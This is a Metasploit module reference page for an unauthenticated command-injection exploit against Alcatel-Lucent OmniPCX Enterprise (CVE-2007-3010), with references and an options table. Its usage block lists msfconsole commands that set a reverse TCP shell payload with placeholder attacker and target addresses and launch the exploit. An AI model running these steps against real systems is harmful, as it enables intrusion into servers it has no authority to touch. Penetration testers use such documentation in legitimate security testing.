Browse Exploit & Auxiliary Modules
The Metasploit Project hosts the world's largest database of quality assured exploits, including hundreds of remote exploits, auxiliary modules, and payloads. You can even review the Metasploit Framework source code of any module - or write your own.
Search for modules
Alcatel-Lucent OmniPCX Enterprise masterCGI Arbitrary Command Execution
This module abuses a metacharacter injection vulnerability in the HTTP management interface of the Alcatel-Lucent OmniPCX Enterprise Communication Server 7.1 and earlier. The Unified Maintenance Tool contains a 'masterCGI' binary which allows an unauthenticated attacker to execute arbitrary commands by specifing shell metacharaters as the 'user' within the 'ping' action to obtain 'httpd' user access. This module only supports command line payloads, as the httpd process kills the reverse/bind shell spawn after the HTTP 200 OK response.
Rank
- Manual
Authors
- patrick < patrick [at] osisecurity.com.au >
References
- OSVDB-40521
- BID-25694
- CVE-2007-3010
- http://www1.alcatel-lucent.com/psirt/statements/2007002/OXEUMT.htm
Exploit Targets
- 0 - Automatic Target (default)
Development
Similar Modules
- exploit/linux/http/ddwrt_cgibin_exec
- exploit/linux/http/gpsd_format_string
- exploit/linux/http/linksys_apply_cgi
- exploit/linux/http/peercast_url
- exploit/linux/http/piranha_passwd_exec
Usage Information
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/linux/http/alcatel_omnipcx_mastercgi_exec
msf exploit(alcatel_omnipcx_mastercgi_exec) > show payloads
msf exploit(alcatel_omnipcx_mastercgi_exec) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(alcatel_omnipcx_mastercgi_exec) > set LHOST [MY IP ADDRESS]
msf exploit(alcatel_omnipcx_mastercgi_exec) > set RHOST [TARGET IP]
msf exploit(alcatel_omnipcx_mastercgi_exec) > exploit
Module Options
| RHOST | The target address |
| RPORT | The target port (default: 443) |
| SSL | Use SSL (default: true) |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| Proxies | Use a proxy chain |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
